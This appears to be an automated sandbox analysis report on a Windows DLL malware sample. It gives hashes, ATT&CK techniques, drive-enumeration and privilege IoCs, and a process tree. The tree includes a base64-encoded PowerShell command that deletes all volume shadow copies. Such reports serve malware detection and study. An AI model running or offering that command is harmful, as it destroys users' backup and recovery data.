fbdb99ac0332c381ec9284c1393b419170fac530b2ba8fac9f3a1c81cb7ab163

General

Target

fbdb99ac0332c381ec9284c1393b419170fac530b2ba8fac9f3a1c81cb7ab163.dll
Size

115KB
MD5

39883f374a236040d68a4aaed2ba182f
SHA1

29560d96a9bf1bf2c6b424d6d715c0fbc2c651d2
SHA256

fbdb99ac0332c381ec9284c1393b419170fac530b2ba8fac9f3a1c81cb7ab163
SHA512

2c6a518110caefd9e5d62d59034ba899eaabad9947fb07c17c6c53da5468c1b0be271fb554b18ea3716f58aff2f70e90b2311181a027a0bdf9447b21c51e1699

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

952 rundll32.exe
516 powershell.exe

pid	process
952	rundll32.exe
516	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	952	rundll32.exe
Token: SeDebugPrivilege	516	powershell.exe
Token: SeBackupPrivilege	1948	vssvc.exe
Token: SeRestorePrivilege	1948	vssvc.exe
Token: SeAuditPrivilege	1948	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 976 wrote to memory of 952	976	rundll32.exe	rundll32.exe
PID 976 wrote to memory of 952	976	rundll32.exe	rundll32.exe
PID 976 wrote to memory of 952	976	rundll32.exe	rundll32.exe
PID 976 wrote to memory of 952	976	rundll32.exe	rundll32.exe
PID 976 wrote to memory of 952	976	rundll32.exe	rundll32.exe
PID 976 wrote to memory of 952	976	rundll32.exe	rundll32.exe
PID 976 wrote to memory of 952	976	rundll32.exe	rundll32.exe
PID 952 wrote to memory of 516	952	rundll32.exe	powershell.exe
PID 952 wrote to memory of 516	952	rundll32.exe	powershell.exe
PID 952 wrote to memory of 516	952	rundll32.exe	powershell.exe
PID 952 wrote to memory of 516	952	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\fbdb99ac0332c381ec9284c1393b419170fac530b2ba8fac9f3a1c81cb7ab163.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:976

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\fbdb99ac0332c381ec9284c1393b419170fac530b2ba8fac9f3a1c81cb7ab163.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:516

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:984

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1948

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/516-55-0x000007FEFC451000-0x000007FEFC453000-memory.dmp

Filesize
8KB

Download
memory/516-57-0x0000000002420000-0x00000000024A0000-memory.dmp

Filesize
512KB

Download
memory/516-58-0x0000000002420000-0x00000000024A0000-memory.dmp

Filesize
512KB

Download
memory/516-59-0x0000000002420000-0x00000000024A0000-memory.dmp

Filesize
512KB

Download
memory/516-56-0x000007FEF36B0000-0x000007FEF420D000-memory.dmp

Filesize
11.4MB

Download
memory/516-60-0x000000001B770000-0x000000001BA6F000-memory.dmp

Filesize
3.0MB

Download
memory/516-61-0x0000000002420000-0x00000000024A0000-memory.dmp

Filesize
512KB

Download
memory/952-54-0x0000000076491000-0x0000000076493000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads